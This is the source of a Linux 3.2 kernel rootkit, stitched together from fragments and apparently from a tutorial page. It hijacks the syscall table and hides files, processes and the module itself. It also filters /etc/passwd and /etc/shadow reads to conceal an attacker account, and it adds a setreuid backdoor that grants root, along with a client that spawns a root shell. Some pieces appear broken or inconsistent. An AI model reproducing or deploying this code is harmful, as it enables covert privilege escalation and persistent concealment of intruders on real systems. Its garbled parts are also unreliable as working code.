Rootkit module in Linux Kernel 3.2

#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/errno.h>	// error numbers
#include <linux/types.h>

#include <linux/module.h>	// struct module
#include <linux/unistd.h>	// all system call numbers
#include <linux/cred.h>		// struct cred
#include <linux/sched.h>	// struct task_struct
#include <linux/syscalls.h>	// all system calls
#include <linux/slab.h>
#include <linux/fs.h>		// virtual file system 
#include <linux/uaccess.h>
#include <linux/ioctl.h>
#include <linux/miscdevice.h>
#include <linux/string.h>	// String manipulation
#include <linux/kobject.h>	// Define kobjects, stuructures, and functions
#include <linux/namei.h>	// file lookup
#include <linux/path.h>		// struct path, path_equal()
#include <linux/file.h>		// struct file *fget(unsigned int fd);
#include <linux/proc_fs.h>      // struct proc_dir_entry;

#include <asm/system.h>
#include <asm/current.h>
#include "config.h"

$ sudo cat /boot/System.map-`uname -r` | grep sys_call_table
ffffffff81801300 R sys_call_table

$ sudo cat /proc/kallsyms | grep sys_call_table
0000000000000000 R sys_call_table

#define PROT_ENABLE write_cr0(read_cr0() | 0x10000)      // CR0 protection Enabled
#define PROT_DISABLE write_cr0(read_cr0() & (~ 0x10000)) // CR0 protection Disabled

# lsmod | grep kcr
# modprobe
# cat /proc/modules | grep kcr
# cat /proc/kallsyms | grep "\[kcr\]"
# ls -la /sys/module | grep kcr

// System call table adddress
static unsigned long *sys_call_table = (unsigned long *) 0xffffffff81801300;

// Get the addresses of the original system calls
asmlinkage long (*original_write)(unsigned int, const char*, size_t);
asmlinkage long (*original_getdents)(unsigned int, struct linux_dirent64*, unsigned int);
asmlinkage long (*original_setreuid)(uid_t, uid_t);
asmlinkage long (*original_open)(const char*, int, int);
asmlinkage long (*original_read)(unsigned int, char*, size_t);

static int 
__init init_mod(void){
	
	misc_register(&kcr);
	
	// Set system call table to be writable by changing cr0 register
	PROT_DISABLE;
	
	// Get original system call addr in asm/unistd.h
	original_write = (void *)sys_call_table[__NR_write];		// __NR_write 64
	original_getdents = (void *)sys_call_table[__NR_getdents];	// __NR_getdents64 61
	original_setreuid = (void *)sys_call_table[__NR_setreuid];	// __NR_setreuid 145
	original_read = (void *)sys_call_table[__NR_read];		// __NR_open 63
	
	// Overwrite manipulated system calls
	sys_call_table[__NR_write] = (unsigned long) my_write;
	sys_call_table[__NR_getdents] = (unsigned long) my_getdents;
	sys_call_table[__NR_setreuid] = (unsigned long) my_setreuid;
	sys_call_table[__NR_read] = (unsigned long) my_read;
	
	if(init_HJ_proc() == false)
		rm_HJ_proc();

	//Changing the control bit back
	PROT_ENABLE;
	
	/*
	// This feature seems unstable now!
	// The first insmod is fine, but when rmmod and insmod again.. :(
	hiding_module();
	unhiding_module();
	*/

	return 0;
}

void
hiding_module(void) {
	// Save the addr of this module to restore if necessary
	saved_mod_list_head = THIS_MODULE->list.prev;
	saved_kobj_parent = THIS_MODULE->mkobj.kobj.parent;
	
	// Remove this module from the module list and kobject list
	list_del(&THIS_MODULE->list);
	kobject_del(&THIS_MODULE->mkobj.kobj);
	
	// Remove the symbol and string tables for kallsyms
	// IF NOT SET TO NULL, IT WILL GET THE FOLLOWING ERROR MSG:
	// "sysfs group ffff8800260e4000 not found for kobject 'rt'"
	THIS_MODULE->sect_attrs = NULL;
	THIS_MODULE->notes_attrs = NULL;
}

void
unhiding_module(void) {
	int r;
	
	// Restore this module to the module list and kobject list
	list_add(&THIS_MODULE->list, saved_mod_list_head);
	if ((r = kobject_add(&THIS_MODULE->mkobj.kobj, saved_kobj_parent, "rt")) < 0)
		printk(KERN_ALERT "Error to restore kobject to the list back!!\n");
}

static void 
__exit exit_mod(void){

	 misc_deregister(&kcr);
	 
	// Restore all system calls to the original ones
	PROT_DISABLE;
	sys_call_table[__NR_write] = (unsigned long) original_write;
	sys_call_table[__NR_getdents] = (unsigned long) original_getdents;
	sys_call_table[__NR_setreuid] = (unsigned long) original_setreuid;
	sys_call_table[__NR_read] = (unsigned long) original_read;

	if(rm_HJ_proc() == false)
		panic("oops HJ_proc\n");

	PROT_ENABLE;
}

if(ret){
		buf = kmalloc(ret, GFP_KERNEL);
		copy_from_user(buf, dirp,ret);
		ptr = (char *)buf;
flag1:		while(ptr < (char *)buf + ret) {
			curr = (struct dirent *)ptr;
			str_idx = 0; 
			tmp = hide_prefix[str_idx];
			while(tmp){
				if(strstr(curr->d_name, tmp)){
					if(curr != buf)	{
						prev->d_reclen += curr->d_reclen;
						goto find;
					}
					else{
						ret -= curr->d_reclen;
						memcpy(curr, curr + curr->d_reclen, ret);
						goto flag1;
					}
				}else{
					tmp  = hide_prefix[++str_idx];
					continue; 
				}
			}
			goto notfound;
find:			ptr += curr->d_reclen;
			goto flag1;
notfound:		prev = curr;                  
			ptr += curr->d_reclen;
		}	
		copy_to_user(dirp, buf, ret);
		kfree(buf);
}

if(file) {
	// Get the absolute path of current file
	file_path = file->f_path;
	path_get(&file->f_path);
	tmp = (char *)__get_free_page(GFP_TEMPORARY);
	abs_path = d_path(&file_path, tmp, PAGE_SIZE);
	path_put(&file_path);
	free_page(tmp);

	ret = original_read(fd, buf, count);

	// If the targeted file and some sanity checks
	if(ret && (strcmp(abs_path, passwd) == 0 || strcmp(abs_path, shadow) == 0)) {
		
		// Allocate new buffer and copy string from user space
		buf2 = kmalloc(ret, GFP_KERNEL);
		copy_from_user(buf2, buf, ret);
		/* 
			Do string manipulation to hide an attacker's account
			Set the three pointers, and leave out the target 
		*/
		ptr1 = buf2;
		ptr2 = strstr(buf2, hide_str);
		ptr3 = ptr2;
		
		while (*ptr3 != *delimiter)
			ptr3++;
			
		ret -= (unsigned long)(ptr3 - ptr2);
		buf_len_to_copy = ptr1 + strlen(buf2) - ptr3;
		
		ptr3++;
		for (i = 0; i < buf_len_to_copy; i++)
			*ptr2++ = *ptr3++;
		buf2[(void*)ptr2 - (void*)ptr1] = NULL;
		
		// Copy the altered string to user space
		copy_to_user(buf, buf2, ret);
		kfree(buf2);
	}
}

static int 
my_filldir(void *buf, char *proc_name, int len, loff_t off, u64 ino, unsigned int d_type){
	// hide the processes
	unsigned int i = 0;
	char *str = hide_proc[i++];
	while(str){
		if(!strcmp(proc_name, str)){
			printk("haha\n");
			return 0;
		}
		str = hide_proc[i++];
	}
	return original_filldir(buf, proc_name, len, off, ino, d_type);	
}

static int 
my_proc_readdir(struct file* filep, void *dirent, filldir_t filldir){
	original_filldir = filldir;
	return original_proc_readdir(filep, dirent, my_filldir);
}

bool 
init_HJ_proc(){
	//name the dummy proc with hide_ prefix so that it won't show when user try to check /proc with ls
	hide_HJ_dummy = create_proc_entry("hide_dummy", 0777, NULL);
	HJ_target = hide_HJ_dummy->parent;
	fops_ptr = ((struct file_operations *)HJ_target->proc_fops);
	original_proc_readdir = fops_ptr->readdir;
	fops_ptr->readdir = my_proc_readdir;
	return true;
}

bool 
rm_HJ_proc(){
	remove_proc_entry("dummy", NULL);
	fops_ptr->readdir = original_proc_readdir;
	return true;
}

asmlinkage long
my_setreuid(uid_t ruid, uid_t euid) {

	// Hooking a certain condition below
	if( (ruid == BACKDOOR_RUID) && (euid == BACKDOOR_EUID) ) {
		struct cred *credential = prepare_creds();

		// Set the permission of the current process to root
		credential -> uid = 0;
		credential -> gid = 0;
		credential -> euid = 0;
		credential -> egid = 0;
		credential -> suid = 0;
		credential -> sgid = 0;
		credential -> fsuid = 0;
		credential -> fsgid = 0;
		
		return commit_creds(credential);
	}
	
	// Otherwise just call original function
	return original_setreuid(ruid, euid);
}

#include <stdio.h>

int main(void)
{
	int ruid = 1234;
	int euid = 5678;
	
	setreuid(ruid, euid);
	system("/bin/sh");
}